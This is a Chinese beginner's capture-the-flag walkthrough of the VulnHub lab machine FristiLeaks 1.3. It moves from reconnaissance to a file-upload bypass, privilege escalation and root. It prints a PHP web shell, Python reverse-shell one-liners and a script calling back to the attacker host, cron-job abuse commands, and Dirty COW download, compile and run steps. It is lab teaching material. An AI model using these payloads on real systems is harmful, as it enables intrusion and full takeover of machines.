靶机渗透FristiLeaks1.3 ☀️新手详细☀️

靶机FristiLeaks1.3的目录

  • 0x01靶机描述
  • 0x02环境搭建
  • 0x03靶机渗透
    • 一、 信息收集
        • 1. 主机发现
        • 2. 端口扫描
        • 3. 详细扫描
        • 4. dirb目录扫描
        • 5. 网站指纹识别
    • 二、 漏洞挖掘
      • base64解密
        • 1. 寻找url
        • 2. 查看源码,base64解密
        • 3. 登录成功
      • 文件上传漏洞
        • 1. 尝试修改抓包修改后缀进行绕过,失败
        • 2. 进行多后缀文件上传
        • 3. 打开上传的文件,显示出php信息
    • 三、 漏洞利用
        • 1. 上传木马文件
        • 2. 使用hackbar切换POST方法传参访问
        • 3. 成功反弹shell
    • 四、 提权
      • 方法一:sudo提权(确实很绕)
        • 1. 寻找到提权信息
        • 2. 编写反弹shell脚本
        • 3. 通过wget下载反弹shell脚本
        • 4. 向runthis中写入执行命令
        • 5. 监听拿到admin用户的shell
        • 6. python打开一个标准的shell
        • 7. base64解密
        • 8. 尝试切换fristigod用户
        • 9. 查看sudo可执行的文件
        • 10. 查看flag:
      • 方法二:脏牛提权
        • 1. 主机开启http服务,并且将脏牛脚本放置网站根目录下
        • 2. wget下载脏牛脚本,并赋权
        • 3. 编译运行
        • 4. 切换firefart用户,成功提权
        • 5. 查看flag:
  • 0x04实验总结

0x01靶机描述

靶机基本信息:

链接 https://www.vulnhub.com/entry/fristileaks-13,133/
作者 Ar0xA
发布日期 2015年12月14日
难度 中等

靶机基本介绍:
在这里插入图片描述

一个小型虚拟机是为一个叫做Fristileaks的荷兰非正式黑客聚会而设计的。意味着可以在几个小时内完成,而无需调试程序、逆向工程等。。

0x02环境搭建

  1. 下载并导入靶机
    打开vmware–文件–打开–FristiLeaks_1.3.ova

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第1张图片

  1. 在开启之前我们需要将靶机网络适配器改为NAT模式,并且对MAC地址进行手动编辑

VMware用户需要手动将VM的MAC地址编辑为:08:00:27:A5:A6:76
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第2张图片
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第3张图片

  1. 启动靶机
    点击 ▶靶机,开启成功

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第4张图片

0x03靶机渗透

一、 信息收集

1. 主机发现

netdiscover -i eth0 -r 192.168.30.0/24

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第5张图片
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第6张图片

2. 端口扫描

masscan --rate=100000 -p 0-65535 192.168.30.195

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第7张图片

3. 详细扫描

nmap -T4 -sV -O -p 80 192.168.30.195

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第8张图片

4. dirb目录扫描

dirb http://192.168.30.195 /usr/share/dirb/wordlists/big.txt

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第9张图片

5. 网站指纹识别

whatweb http://192.168.30.195

在这里插入图片描述

二、 漏洞挖掘

base64解密

1. 寻找url

通过照片上的提示“This is not the url”,我们可以大概猜测到是想让我们寻找url链接或路径
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第10张图片

尝试将fristi作为路径进行访问
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第11张图片
成功访问,发现登录页面,在这里可以进行弱口令,暴力破解,尝试找sql注入点(但这些都没有成功)

http://192.168.30.195/fristi/

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第12张图片

2. 查看源码,base64解密

2.1 查看源码发现了一封邮件,还有很长的base64加密的密文,我们可以猜想这个发件人可能为这里的用户名,base64为加密的密码
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第13张图片

2.2 首先想到的就是将密文在kali上进行解密

base64 -d base64.txt > base.txt

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第14张图片
但是解密后显示PNG,可以才想到应该是解密成PNG文件

2.3 继续进行解密为base64.PNG

base64 -d base64.txt > base64.png

在这里插入图片描述
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第15张图片

3. 登录成功

用户名:eezeepz 密码:keKkeKKeKKeKkEkkEk

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第16张图片
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第17张图片
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第18张图片
发现是一个文件上传点

文件上传漏洞

1. 尝试修改抓包修改后缀进行绕过,失败

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第19张图片

2. 进行多后缀文件上传

查看到这是一个apache服务器

apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第20张图片
将写好查看phpinfo信息页面脚本进行上传
在这里插入图片描述
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第21张图片
上传成功,并且上传到了/uploads文件夹下

3. 打开上传的文件,显示出php信息

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第22张图片
此处存在文件上传漏洞

三、 漏洞利用

1. 上传木马文件

上传方法与上传phpinfo.php.gif相同

<?php @system($_POST[cmd]);?>

在这里插入图片描述

2. 使用hackbar切换POST方法传参访问

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.30.182",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第23张图片

3. 成功反弹shell

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第24张图片

四、 提权

方法一:sudo提权(确实很绕)

1. 寻找到提权信息

在用户eezeepz的家目录下找到文件notes.txt
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第25张图片

我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件。
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次。

根据提示我们可以看出,在/tmp/中放入一个名为“runthis”的文件,而这个文件就类似/etc/crontab文件,在这里是以admin用户定时执行任务,所以我们的思路是可以利用这个漏洞拿到admin用户的shell

2. 编写反弹shell脚本

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.30.182",8421));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第26张图片
并且打开Apache服务器

3. 通过wget下载反弹shell脚本

wget http://192.168.30.182/privilege.py

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第27张图片

4. 向runthis中写入执行命令

方法一:写入执行反弹shell的命令,我们可以拿到admin用户的shell

echo '/usr/bin/python /tmp/privilege.py' > runthis

在这里插入图片描述

方法二:将用户admin的家目录权限设置为所有用户均可访问

echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis

在这里插入图片描述
从执行命令前后我们可以看出admin用户目录权限的变化
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第28张图片

5. 监听拿到admin用户的shell

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第29张图片

6. python打开一个标准的shell

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

7. base64解密

在用户admin家目录下发现加密代码,以及加密后的字符
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第30张图片
根据加密加密代码我们可以编写解密代码

#decoderot13.py
import base64,codecs,sys

def decodeString(str):
    base64string= codecs.decode(str,'rot13')
    return base64.b64decode(base64string[::-1])

cryptoResult=decodeString(sys.argv[1])
print cryptoResult

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第31张图片
根据密码显示的内容,得到可能是用户fristigod的密码

8. 尝试切换fristigod用户

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第32张图片
切换成功

9. 查看sudo可执行的文件

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第33张图片
查看历史可以发现使用这个可执行文件可以以root身份执行命令
靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第34张图片
那么我们可以以root身份打开一个终端,终端自然是root权限,提权成功

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第35张图片

10. 查看flag:

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第36张图片

方法二:脏牛提权

1. 主机开启http服务,并且将脏牛脚本放置网站根目录下

service apache2 start

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第37张图片

2. wget下载脏牛脚本,并赋权

wget http://192.168.30.182/dirty.c
chmod 777 dirty.c

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第38张图片

3. 编译运行

gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第39张图片
运行成功

4. 切换firefart用户,成功提权

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第40张图片

5. 查看flag:

靶机渗透FristiLeaks1.3 ☀️新手详细☀️_第41张图片

0x04实验总结

  1. 该靶机属于CTF典型靶机,运用base64加密做了很多关卡,所以必须懂得base64加密。
  2. 当你感觉无从下手的时候F12可以查看源码,也可以进行收集框架漏洞等。
  3. 文件上传漏洞考察了Apache服务器的对文件解析漏洞
  4. 提权时一般重点就是在用户家目录或/tmp目录下查找提权有关的信息,提全时一定要发散思维,多想想

你可能感兴趣的:(靶机渗透,靶机,渗透测试,网络安全)